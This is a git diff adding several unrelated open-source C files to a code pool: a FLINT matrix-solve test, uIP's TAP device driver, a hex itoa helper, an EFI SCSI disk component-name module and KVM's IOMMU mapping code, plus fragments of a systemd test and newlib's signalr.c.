+        assert_se(manager_load_startable_unit_or_warn(m, "sched_rr_change.service", NULL, &rr_sched) >= 0);
+        ser = SERVICE(rr_sched);
+        assert_se(ser->exec_context.cpu_sched_policy == SCHED_RR);
+        assert_se(ser->exec_context.cpu_sched_priority == 99);
+
+        return EXIT_SUCCESS;
+}
diff --git a/pool/shard001/C/0025642_t-solve.c b/pool/shard001/C/0025642_t-solve.c
new file mode 100644
index 0000000000000000000000000000000000000000..9a8c65fd5fe26ed89c44fa12accffa782063ed33
--- /dev/null
+++ b/pool/shard001/C/0025642_t-solve.c
@@ -0,0 +1,119 @@
+/*
+    Copyright (C) 2010 Fredrik Johansson
+
+    This file is part of FLINT.
+
+    FLINT is free software: you can redistribute it and/or modify it under
+    the terms of the GNU Lesser General Public License (LGPL) as published
+    by the Free Software Foundation; either version 2.1 of the License, or
+    (at your option) any later version.  See <https://www.gnu.org/licenses/>.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <gmp.h>
+#include "flint.h"
+#include "fmpz.h"
+#include "fmpz_vec.h"
+#include "fmpz_mat.h"
+#include "ulong_extras.h"
+
+
+int
+main(void)
+{
+    fmpz_mat_t A, X, B, AX;
+    fmpz_t den;
+    slong i, m, n, r;
+    int success;
+
+    FLINT_TEST_INIT(state);
+
+    flint_printf("solve....");
+    fflush(stdout);    
+
+    for (i = 0; i < 1000 * flint_test_multiplier(); i++)
+    {
+        m = n_randint(state, 10);
+        n = n_randint(state, 10);
+
+        fmpz_mat_init(A, m, m);
+        fmpz_mat_init(B, m, n);
+        fmpz_mat_init(X, m, n);
+        fmpz_mat_init(AX, m, n);
+        fmpz_init(den);
+
+        fmpz_mat_randrank(A, state, m, 1+n_randint(state, 2)*n_randint(state, 100));
+        fmpz_mat_randtest(B, state, 1+n_randint(state, 2)*n_randint(state, 100));
+
+        /* Dense */
+        if (n_randint(state, 2))
+            fmpz_mat_randops(A, state, 1+n_randint(state, 1 + m*m));
+
+        success = fmpz_mat_solve(X, den, A, B);
+
+        fmpz_mat_mul(AX, A, X);
+        fmpz_mat_scalar_divexact_fmpz(AX, AX, den);
+
+        if (!fmpz_mat_equal(AX, B) || !success)
+        {
+            flint_printf("FAIL:\n");
+            flint_printf("AX != B!\n");
+            flint_printf("A:\n"),      fmpz_mat_print_pretty(A),  flint_printf("\n");
+            flint_printf("B:\n"),      fmpz_mat_print_pretty(B),  flint_printf("\n");
+            flint_printf("X:\n"),      fmpz_mat_print_pretty(X),  flint_printf("\n");
+            flint_printf("den(X) = "), fmpz_print(den),           flint_printf("\n");
+            flint_printf("AX:\n"),     fmpz_mat_print_pretty(AX), flint_printf("\n");
+            fflush(stdout);
+            flint_abort();
+        }
+
+        fmpz_mat_clear(A);
+        fmpz_mat_clear(B);
+        fmpz_mat_clear(X);
+        fmpz_mat_clear(AX);
+        fmpz_clear(den);
+    }
+
+    /* Test singular systems */
+    for (i = 0; i < 1000 * flint_test_multiplier(); i++)
+    {
+        m = 1 + n_randint(state, 10);
+        n = 1 + n_randint(state, 10);
+        r = n_randint(state, m);
+
+        fmpz_mat_init(A, m, m);
+        fmpz_mat_init(B, m, n);
+        fmpz_mat_init(X, m, n);
+        fmpz_mat_init(AX, m, n);
+        fmpz_init(den);
+
+        fmpz_mat_randrank(A, state, r, 1+n_randint(state, 2)*n_randint(state, 100));
+        fmpz_mat_randtest(B, state, 1+n_randint(state, 2)*n_randint(state, 100));
+
+        /* Dense */
+        if (n_randint(state, 2))
+            fmpz_mat_randops(A, state, 1+n_randint(state, 1 + m*m));
+
+        success = fmpz_mat_solve(X, den, A, B);
+
+        if (!fmpz_is_zero(den) || success)
+        {
+            flint_printf("FAIL:\n");
+            flint_printf("singular system gave nonzero determinant\n");
+            fflush(stdout);
+            flint_abort();
+        }
+
+        fmpz_mat_clear(A);
+        fmpz_mat_clear(B);
+        fmpz_mat_clear(X);
+        fmpz_mat_clear(AX);
+        fmpz_clear(den);
+    }
+
+    FLINT_TEST_CLEANUP(state);
+    
+    flint_printf("PASS\n");
+    return 0;
+}
diff --git a/pool/shard001/C/0025665_tapdev.c b/pool/shard001/C/0025665_tapdev.c
new file mode 100644
index 0000000000000000000000000000000000000000..f03eff291dde279a0b940ef35814afd65c97654c
--- /dev/null
+++ b/pool/shard001/C/0025665_tapdev.c
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2001, Swedish Institute of Computer Science.
+ * All rights reserved. 
+ *
+ * Redistribution and use in source and binary forms, with or without 
+ * modification, are permitted provided that the following conditions 
+ * are met: 
+ *
+ * 1. Redistributions of source code must retain the above copyright 
+ *    notice, this list of conditions and the following disclaimer. 
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright 
+ *    notice, this list of conditions and the following disclaimer in the 
+ *    documentation and/or other materials provided with the distribution. 
+ *
+ * 3. Neither the name of the Institute nor the names of its contributors 
+ *    may be used to endorse or promote products derived from this software 
+ *    without specific prior written permission. 
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND 
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE 
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 
+ * SUCH DAMAGE. 
+ *
+ * Author: Adam Dunkels <adam@sics.se>
+ *
+ * $Id: tapdev.c,v 1.7.2.1 2003/10/07 13:23:19 adam Exp $
+ */
+
+
+#include <fcntl.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/time.h>
+#include <sys/uio.h>
+#include <sys/socket.h>
+
+#ifdef linux
+#include <sys/ioctl.h>
+#include <linux/if.h>
+#include <linux/if_tun.h>
+#define DEVTAP "/dev/net/tun"
+#else  /* linux */
+#define DEVTAP "/dev/tap0"
+#endif /* linux */
+
+#include "uip.h"
+
+static int fd;
+
+static unsigned long lasttime;
+static struct timezone tz;
+
+/*-----------------------------------------------------------------------------------*/
+void
+tapdev_init(void)
+{
+  char buf[1024];
+  
+  fd = open(DEVTAP, O_RDWR);
+  if(fd == -1) {
+    perror("tapdev: tapdev_init: open");
+    exit(1);
+  }
+
+#ifdef linux
+  {
+    struct ifreq ifr;
+    memset(&ifr, 0, sizeof(ifr));
+    ifr.ifr_flags = IFF_TAP|IFF_NO_PI;
+    if (ioctl(fd, TUNSETIFF, (void *) &ifr) < 0) {
+      perror(buf);
+      exit(1);
+    }
+  }
+#endif /* Linux */
+
+  snprintf(buf, sizeof(buf), "ifconfig tap0 inet %d.%d.%d.%d",
+	   UIP_DRIPADDR0, UIP_DRIPADDR1, UIP_DRIPADDR2, UIP_DRIPADDR3);
+  system(buf);
+
+  lasttime = 0;
+}
+
+void dump_mem(int type, int len)
+{
+#if DUMP == 1
+	int i;
+	for(i = 0; i < len; i++)
+		printf("%c", uip_buf[i]);
+	if(type)
+	{
+		printf("\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01");
+		printf("\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01\01");
+	} else {
+		printf("\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02");
+		printf("\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02\02");
+	}
+	fflush(stdout);
+#endif
+}
+
+/*-----------------------------------------------------------------------------------*/
+unsigned int
+tapdev_read(void)
+{
+  fd_set fdset;
+  struct timeval tv, now;
+  int ret;
+  
+  if(lasttime >= 500000) {
+    lasttime = 0;
+    return 0;
+  }
+  
+  tv.tv_sec = 0;
+  tv.tv_usec = 500000 - lasttime;
+
+
+  FD_ZERO(&fdset);
+  FD_SET(fd, &fdset);
+
+  gettimeofday(&now, &tz);  
+  ret = select(fd + 1, &fdset, NULL, NULL, &tv);
+  if(ret == 0) {
+    lasttime = 0;    
+    return 0;
+  } 
+  ret = read(fd, uip_buf, UIP_BUFSIZE);  
+  if(ret == -1) {
+    perror("tap_dev: tapdev_read: read");
+  }
+  gettimeofday(&tv, &tz);
+  lasttime += (tv.tv_sec - now.tv_sec) * 1000000 + (tv.tv_usec - now.tv_usec);
+  dump_mem(0, ret);
+  return ret;
+}
+/*-----------------------------------------------------------------------------------*/
+void
+tapdev_send(void)
+{
+  int ret;
+  struct iovec iov[2];
+  
+#ifdef linux
+  {
+    char tmpbuf[UIP_BUFSIZE];
+    int i;
+
+    for(i = 0; i < 40 + UIP_LLH_LEN; i++) {
+      tmpbuf[i] = uip_buf[i];
+    }
+    
+    for(; i < uip_len; i++) {
+      tmpbuf[i] = uip_appdata[i - 40 - UIP_LLH_LEN];
+    }
+    
+    ret = write(fd, tmpbuf, uip_len);
+  }  
+#else 
+
+  if(uip_len < 40 + UIP_LLH_LEN) {
+    ret = write(fd, uip_buf, uip_len + UIP_LLH_LEN);
+  } else {
+    iov[0].iov_base = uip_buf;
+    iov[0].iov_len = 40 + UIP_LLH_LEN;
+    iov[1].iov_base = (char *)uip_appdata;
+    iov[1].iov_len = uip_len - (40 + UIP_LLH_LEN);  
+    
+    ret = writev(fd, iov, 2);
+  }
+#endif
+  dump_mem(1, ret);
+
+  if(ret == -1) {
+    perror("tap_dev: tapdev_send: writev");
+    exit(1);
+  }
+}  
+/*-----------------------------------------------------------------------------------*/
diff --git a/pool/shard001/C/0025669_klib.c b/pool/shard001/C/0025669_klib.c
new file mode 100644
index 0000000000000000000000000000000000000000..6865d83e0a0814c518543f244b6e054b26515dac
--- /dev/null
+++ b/pool/shard001/C/0025669_klib.c
@@ -0,0 +1,78 @@
+/*
+ * Copyright (c) 2013 ASMlover. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list ofconditions and the following disclaimer.
+ *
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in
+ *    the documentation and/or other materialsprovided with the
+ *    distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+ * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+ * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+#include "type.h"
+#include "const.h"
+#include "protect.h"
+#include "proto.h"
+#include "string.h"
+#include "global.h"
+
+
+
+
+/* num -> 16bits num into str */
+char* 
+itoa(char* str, int num)
+{
+  char* p = str;
+  char  c;
+  int   i;
+  int   flag = 0;
+
+  *p++ = '0';
+  *p++ = 'x';
+
+  if (0 == num)
+    *p++ = '0';
+  else {
+    for (i = 28; i >= 0; i -= 4) {
+      c = (num >> i) & 0xf;
+      if (flag || (c > 0)) {
+        flag = 1;
+        c += '0';
+        if (c > '9') {
+          c += 7;
+        }
+        *p++ = c;
+      }
+    }
+  }
+
+  *p = 0;
+  return str;
+}
+
+
+void 
+display_int(int num)
+{
+  char buf[16];
+  itoa(buf, num);
+  display_str(buf);
+}
diff --git a/pool/shard001/C/0025674_ComponentName.c b/pool/shard001/C/0025674_ComponentName.c
new file mode 100644
index 0000000000000000000000000000000000000000..0f2329123f172b12cbc792ed6e9da780c0868d0c
--- /dev/null
+++ b/pool/shard001/C/0025674_ComponentName.c
@@ -0,0 +1,200 @@
+/*++
+
+Copyright (c) 2004, Intel Corporation                                                         
+All rights reserved. This program and the accompanying materials                          
+are licensed and made available under the terms and conditions of the BSD License         
+which accompanies this distribution.  The full text of the license may be found at        
+http://opensource.org/licenses/bsd-license.php                                            
+                                                                                          
+THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,                     
+WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             
+
+Module Name:
+
+  ComponentName.c
+
+Abstract:
+
+--*/
+
+#include "ScsiDisk.h"
+
+//
+// EFI Component Name Functions
+//
+EFI_STATUS
+EFIAPI
+ScsiDiskComponentNameGetDriverName (
+  IN  EFI_COMPONENT_NAME_PROTOCOL  *This,
+  IN  CHAR8                        *Language,
+  OUT CHAR16                       **DriverName
+  );
+
+EFI_STATUS
+EFIAPI
+ScsiDiskComponentNameGetControllerName (
+  IN  EFI_COMPONENT_NAME_PROTOCOL                     *This,
+  IN  EFI_HANDLE                                      ControllerHandle,
+  IN  EFI_HANDLE                                      ChildHandle        OPTIONAL,
+  IN  CHAR8                                           *Language,
+  OUT CHAR16                                          **ControllerName
+  );
+
+//
+// EFI Component Name Protocol
+//
+EFI_COMPONENT_NAME_PROTOCOL     gScsiDiskComponentName = {
+  ScsiDiskComponentNameGetDriverName,
+  ScsiDiskComponentNameGetControllerName,
+  "eng"
+};
+
+static EFI_UNICODE_STRING_TABLE mScsiDiskDriverNameTable[] = {
+  { "eng", L"Scsi Disk Driver" },
+  { NULL , NULL }
+};
+
+EFI_STATUS
+EFIAPI
+ScsiDiskComponentNameGetDriverName (
+  IN  EFI_COMPONENT_NAME_PROTOCOL  *This,
+  IN  CHAR8                        *Language,
+  OUT CHAR16                       **DriverName
+  )
+/*++
+
+  Routine Description:
+    Retrieves a Unicode string that is the user readable name of the EFI Driver.
+
+  Arguments:
+    This       - A pointer to the EFI_COMPONENT_NAME_PROTOCOL instance.
+    Language   - A pointer to a three character ISO 639-2 language identifier.
+                 This is the language of the driver name that that the caller 
+                 is requesting, and it must match one of the languages specified
+                 in SupportedLanguages.  The number of languages supported by a 
+                 driver is up to the driver writer.
+    DriverName - A pointer to the Unicode string to return.  This Unicode string
+                 is the name of the driver specified by This in the language 
+                 specified by Language.
+
+  Returns:
+    EFI_SUCCESS           - The Unicode string for the Driver specified by This
+                            and the language specified by Language was returned 
+                            in DriverName.
+    EFI_INVALID_PARAMETER - Language is NULL.
+    EFI_INVALID_PARAMETER - DriverName is NULL.
+    EFI_UNSUPPORTED       - The driver specified by This does not support the 
+                            language specified by Language.
+
+--*/
+{
+  return EfiLibLookupUnicodeString (
+          Language,
+          gScsiDiskComponentName.SupportedLanguages,
+          mScsiDiskDriverNameTable,
+          DriverName
+          );
+}
+
+EFI_STATUS
+EFIAPI
+ScsiDiskComponentNameGetControllerName (
+  IN  EFI_COMPONENT_NAME_PROTOCOL                     *This,
+  IN  EFI_HANDLE                                      ControllerHandle,
+  IN  EFI_HANDLE                                      ChildHandle        OPTIONAL,
+  IN  CHAR8                                           *Language,
+  OUT CHAR16                                          **ControllerName
+  )
+/*++
+
+  Routine Description:
+    Retrieves a Unicode string that is the user readable name of the controller
+    that is being managed by an EFI Driver.
+
+  Arguments:
+    This             - A pointer to the EFI_COMPONENT_NAME_PROTOCOL instance.
+    ControllerHandle - The handle of a controller that the driver specified by 
+                       This is managing.  This handle specifies the controller 
+                       whose name is to be returned.
+    ChildHandle      - The handle of the child controller to retrieve the name 
+                       of.  This is an optional parameter that may be NULL.  It 
+                       will be NULL for device drivers.  It will also be NULL 
+                       for a bus drivers that wish to retrieve the name of the 
+                       bus controller.  It will not be NULL for a bus driver 
+                       that wishes to retrieve the name of a child controller.
+    Language         - A pointer to a three character ISO 639-2 language 
+                       identifier.  This is the language of the controller name 
+                       that that the caller is requesting, and it must match one
+                       of the languages specified in SupportedLanguages.  The 
+                       number of languages supported by a driver is up to the 
+                       driver writer.
+    ControllerName   - A pointer to the Unicode string to return.  This Unicode
+                       string is the name of the controller specified by 
+                       ControllerHandle and ChildHandle in the language 
+                       specified by Language from the point of view of the 
+                       driver specified by This. 
+
+  Returns:
+    EFI_SUCCESS           - The Unicode string for the user readable name in the
+                            language specified by Language for the driver 
+                            specified by This was returned in DriverName.
+    EFI_INVALID_PARAMETER - ControllerHandle is not a valid EFI_HANDLE.
+    EFI_INVALID_PARAMETER - ChildHandle is not NULL and it is not a valid 
+                            EFI_HANDLE.
+    EFI_INVALID_PARAMETER - Language is NULL.
+    EFI_INVALID_PARAMETER - ControllerName is NULL.
+    EFI_UNSUPPORTED       - The driver specified by This is not currently 
+                            managing the controller specified by 
+                            ControllerHandle and ChildHandle.
+    EFI_UNSUPPORTED       - The driver specified by This does not support the 
+                            language specified by Language.
+
+--*/
+{
+  EFI_STATUS            Status;
+  SCSI_DISK_DEV         *ScsiDiskDevice;
+  EFI_BLOCK_IO_PROTOCOL *BlockIo;
+
+  //
+  // This is a device driver, so ChildHandle must be NULL.
+  //
+  if (ChildHandle != NULL) {
+    return EFI_UNSUPPORTED;
+  }
+  
+  //
+  // Make sure this driver is currently managing ControllerHandle
+  //
+  Status = EfiLibTestManagedDevice (
+             ControllerHandle,
+             gScsiDiskDriverBinding.DriverBindingHandle,
+             &gEfiScsiIoProtocolGuid
+             );
+  if (EFI_ERROR (Status)) {
+    return Status;
+  }
+  //
+  // Get the device context
+  //
+  Status = gBS->OpenProtocol (
+                  ControllerHandle,
+                  &gEfiBlockIoProtocolGuid,
+                  (VOID **) &BlockIo,
+                  gScsiDiskDriverBinding.DriverBindingHandle,
+                  ControllerHandle,
+                  EFI_OPEN_PROTOCOL_GET_PROTOCOL
+                  );
+  if (EFI_ERROR (Status)) {
+    return Status;
+  }
+
+  ScsiDiskDevice = SCSI_DISK_DEV_FROM_THIS (BlockIo);
+
+  return EfiLibLookupUnicodeString (
+          Language,
+          gScsiDiskComponentName.SupportedLanguages,
+          ScsiDiskDevice->ControllerNameTable,
+          ControllerName
+          );
+
+}
diff --git a/pool/shard001/C/0025675_iommu.c b/pool/shard001/C/0025675_iommu.c
new file mode 100644
index 0000000000000000000000000000000000000000..62a9caf0563c2205327245b2a1103f1bbff94e70
--- /dev/null
+++ b/pool/shard001/C/0025675_iommu.c
@@ -0,0 +1,316 @@
+/*
+ * Copyright (c) 2006, Intel Corporation.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms and conditions of the GNU General Public License,
+ * version 2, as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307 USA.
+ *
+ * Copyright (C) 2006-2008 Intel Corporation
+ * Copyright IBM Corporation, 2008
+ * Copyright 2010 Red Hat, Inc. and/or its affiliates.
+ *
+ * Author: Allen M. Kay <allen.m.kay@intel.com>
+ * Author: Weidong Han <weidong.han@intel.com>
+ * Author: Ben-Ami Yassour <benami@il.ibm.com>
+ */
+
+#include <linux/list.h>
+#include <linux/kvm_host.h>
+#include <linux/pci.h>
+#include <linux/dmar.h>
+#include <linux/iommu.h>
+#include <linux/intel-iommu.h>
+
+static int kvm_iommu_unmap_memslots(struct kvm *kvm);
+static void kvm_iommu_put_pages(struct kvm *kvm,
+				gfn_t base_gfn, unsigned long npages);
+
+static pfn_t kvm_pin_pages(struct kvm *kvm, struct kvm_memory_slot *slot,
+			   gfn_t gfn, unsigned long size)
+{
+	gfn_t end_gfn;
+	pfn_t pfn;
+
+	pfn     = gfn_to_pfn_memslot(kvm, slot, gfn);
+	end_gfn = gfn + (size >> PAGE_SHIFT);
+	gfn    += 1;
+
+	if (is_error_pfn(pfn))
+		return pfn;
+
+	while (gfn < end_gfn)
+		gfn_to_pfn_memslot(kvm, slot, gfn++);
+
+	return pfn;
+}
+
+int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot)
+{
+	gfn_t gfn, end_gfn;
+	pfn_t pfn;
+	int r = 0;
+	struct iommu_domain *domain = kvm->arch.iommu_domain;
+	int flags;
+
+	/* check if iommu exists and in use */
+	if (!domain)
+		return 0;
+
+	gfn     = slot->base_gfn;
+	end_gfn = gfn + slot->npages;
+
+	flags = IOMMU_READ | IOMMU_WRITE;
+	if (kvm->arch.iommu_flags & KVM_IOMMU_CACHE_COHERENCY)
+		flags |= IOMMU_CACHE;
+
+
+	while (gfn < end_gfn) {
+		unsigned long page_size;
+
+		/* Check if already mapped */
+		if (iommu_iova_to_phys(domain, gfn_to_gpa(gfn))) {
+			gfn += 1;
+			continue;
+		}
+
+		/* Get the page size we could use to map */
+		page_size = kvm_host_page_size(kvm, gfn);
+
+		/* Make sure the page_size does not exceed the memslot */
+		while ((gfn + (page_size >> PAGE_SHIFT)) > end_gfn)
+			page_size >>= 1;
+
+		/* Make sure gfn is aligned to the page size we want to map */
+		while ((gfn << PAGE_SHIFT) & (page_size - 1))
+			page_size >>= 1;
+
+		/*
+		 * Pin all pages we are about to map in memory. This is
+		 * important because we unmap and unpin in 4kb steps later.
+		 */
+		pfn = kvm_pin_pages(kvm, slot, gfn, page_size);
+		if (is_error_pfn(pfn)) {
+			gfn += 1;
+			continue;
+		}
+
+		/* Map into IO address space */
+		r = iommu_map(domain, gfn_to_gpa(gfn), pfn_to_hpa(pfn),
+			      get_order(page_size), flags);
+		if (r) {
+			printk(KERN_ERR "kvm_iommu_map_address:"
+			       "iommu failed to map pfn=%llx\n", pfn);
+			goto unmap_pages;
+		}
+
+		gfn += page_size >> PAGE_SHIFT;
+
+
+	}
+
+	return 0;
+
+unmap_pages:
+	kvm_iommu_put_pages(kvm, slot->base_gfn, gfn);
+	return r;
+}
+
+static int kvm_iommu_map_memslots(struct kvm *kvm)
+{
+	int i, idx, r = 0;
+	struct kvm_memslots *slots;
+
+	idx = srcu_read_lock(&kvm->srcu);
+	slots = kvm_memslots(kvm);
+
+	for (i = 0; i < slots->nmemslots; i++) {
+		r = kvm_iommu_map_pages(kvm, &slots->memslots[i]);
+		if (r)
+			break;
+	}
+	srcu_read_unlock(&kvm->srcu, idx);
+
+	return r;
+}
+
+int kvm_assign_device(struct kvm *kvm,
+		      struct kvm_assigned_dev_kernel *assigned_dev)
+{
+	struct pci_dev *pdev = NULL;
+	struct iommu_domain *domain = kvm->arch.iommu_domain;
+	int r, last_flags;
+
+	/* check if iommu exists and in use */
+	if (!domain)
+		return 0;
+
+	pdev = assigned_dev->dev;
+	if (pdev == NULL)
+		return -ENODEV;
+
+	r = iommu_attach_device(domain, &pdev->dev);
+	if (r) {
+		printk(KERN_ERR "assign device %x:%x:%x.%x failed",
+			pci_domain_nr(pdev->bus),
+			pdev->bus->number,
+			PCI_SLOT(pdev->devfn),
+			PCI_FUNC(pdev->devfn));
+		return r;
+	}
+
+	last_flags = kvm->arch.iommu_flags;
+	if (iommu_domain_has_cap(kvm->arch.iommu_domain,
+				 IOMMU_CAP_CACHE_COHERENCY))
+		kvm->arch.iommu_flags |= KVM_IOMMU_CACHE_COHERENCY;
+
+	/* Check if need to update IOMMU page table for guest memory */
+	if ((last_flags ^ kvm->arch.iommu_flags) ==
+			KVM_IOMMU_CACHE_COHERENCY) {
+		kvm_iommu_unmap_memslots(kvm);
+		r = kvm_iommu_map_memslots(kvm);
+		if (r)
+			goto out_unmap;
+	}
+
+	printk(KERN_DEBUG "assign device %x:%x:%x.%x\n",
+		assigned_dev->host_segnr,
+		assigned_dev->host_busnr,
+		PCI_SLOT(assigned_dev->host_devfn),
+		PCI_FUNC(assigned_dev->host_devfn));
+
+	return 0;
+out_unmap:
+	kvm_iommu_unmap_memslots(kvm);
+	return r;
+}
+
+int kvm_deassign_device(struct kvm *kvm,
+			struct kvm_assigned_dev_kernel *assigned_dev)
+{
+	struct iommu_domain *domain = kvm->arch.iommu_domain;
+	struct pci_dev *pdev = NULL;
+
+	/* check if iommu exists and in use */
+	if (!domain)
+		return 0;
+
+	pdev = assigned_dev->dev;
+	if (pdev == NULL)
+		return -ENODEV;
+
+	iommu_detach_device(domain, &pdev->dev);
+
+	printk(KERN_DEBUG "deassign device %x:%x:%x.%x\n",
+		assigned_dev->host_segnr,
+		assigned_dev->host_busnr,
+		PCI_SLOT(assigned_dev->host_devfn),
+		PCI_FUNC(assigned_dev->host_devfn));
+
+	return 0;
+}
+
+int kvm_iommu_map_guest(struct kvm *kvm)
+{
+	int r;
+
+	if (!iommu_found()) {
+		printk(KERN_ERR "%s: iommu not found\n", __func__);
+		return -ENODEV;
+	}
+
+	kvm->arch.iommu_domain = iommu_domain_alloc();
+	if (!kvm->arch.iommu_domain)
+		return -ENOMEM;
+
+	r = kvm_iommu_map_memslots(kvm);
+	if (r)
+		goto out_unmap;
+
+	return 0;
+
+out_unmap:
+	kvm_iommu_unmap_memslots(kvm);
+	return r;
+}
+
+static void kvm_unpin_pages(struct kvm *kvm, pfn_t pfn, unsigned long npages)
+{
+	unsigned long i;
+
+	for (i = 0; i < npages; ++i)
+		kvm_release_pfn_clean(pfn + i);
+}
+
+static void kvm_iommu_put_pages(struct kvm *kvm,
+				gfn_t base_gfn, unsigned long npages)
+{
+	struct iommu_domain *domain;
+	gfn_t end_gfn, gfn;
+	pfn_t pfn;
+	u64 phys;
+
+	domain  = kvm->arch.iommu_domain;
+	end_gfn = base_gfn + npages;
+	gfn     = base_gfn;
+
+	/* check if iommu exists and in use */
+	if (!domain)
+		return;
+
+	while (gfn < end_gfn) {
+		unsigned long unmap_pages;
+		int order;
+
+		/* Get physical address */
+		phys = iommu_iova_to_phys(domain, gfn_to_gpa(gfn));
+		pfn  = phys >> PAGE_SHIFT;
+
+		/* Unmap address from IO address space */
+		order       = iommu_unmap(domain, gfn_to_gpa(gfn), 0);
+		unmap_pages = 1ULL << order;
+
+		/* Unpin all pages we just unmapped to not leak any memory */
+		kvm_unpin_pages(kvm, pfn, unmap_pages);
+
+		gfn += unmap_pages;
+	}
+}
+
+static int kvm_iommu_unmap_memslots(struct kvm *kvm)
+{
+	int i, idx;
+	struct kvm_memslots *slots;
+
+	idx = srcu_read_lock(&kvm->srcu);
+	slots = kvm_memslots(kvm);
+
+	for (i = 0; i < slots->nmemslots; i++) {
+		kvm_iommu_put_pages(kvm, slots->memslots[i].base_gfn,
+				    slots->memslots[i].npages);
+	}
+	srcu_read_unlock(&kvm->srcu, idx);
+
+	return 0;
+}
+
+int kvm_iommu_unmap_guest(struct kvm *kvm)
+{
+	struct iommu_domain *domain = kvm->arch.iommu_domain;
+
+	/* check if iommu exists and in use */
+	if (!domain)
+		return 0;
+
+	kvm_iommu_unmap_memslots(kvm);
+	iommu_domain_free(domain);
+	return 0;
+}
diff --git a/pool/shard001/C/0025678_signalr.c b/pool/shard001/C/0025678_signalr.c
new file mode 100644
index 0000000000000000000000000000000000000000..2fe6260f57270e770ba4fdd1ee9111ee688a4c4e
--- /dev/null
+++ b/pool/shard001/C/0025678_signalr.c
@@ -0,0 +1,99 @@
+/* Reentrant versions of syscalls need to support signal/raise.
+   These implementations just call the usual system calls.  */
+
+#include <reent.h>
+#include <_syslist.h>
+
+/* Some targets provides their own versions of these functions.  Those
+   targets should define REENTRANT_SYSCALLS_PROVIDED in TARGET_CFLAGS.  */
+
+#ifdef _REENT_ONLY
+#ifndef REENTRANT_SYSCALLS_PROVIDED
+#define REENTRANT_SYSCALLS_PROVIDED
+#endif
+#endif
+
+#ifdef REENTRANT_SYSCALLS_PROVIDED
+
+int _dummy_link_syscalls = 1;
+
+#else
+
+/* We use the errno variable used by the system dependent layer.  */
+#undef errno
+int errno;
+
+/*
+FUNCTION
+	<<_kill_r>>---Reentrant version of kill
+	
+INDEX
+	_kill_r
+
+ANSI_SYNOPSIS
+	#include <reent.h>
+	int _kill_r(struct _reent *<[ptr]>, int <[pid]>, int <[sig]>);
+
+TRAD_SYNOPSIS
+	#include <reent.h>
+	int _kill_r(<[ptr]>, <[pid]>, <[sig]>)
+	struct _reent *<[ptr]>;
+	int <[pid]>;
+	int <[sig]>;
+
+DESCRIPTION
+	This is a reentrant version of <<kill>>.  It
+	takes a pointer to the global data block, which holds
+	<<errno>>.
+*/
+
+int
+_kill_r (ptr, pid, sig)
+     struct _reent *ptr;
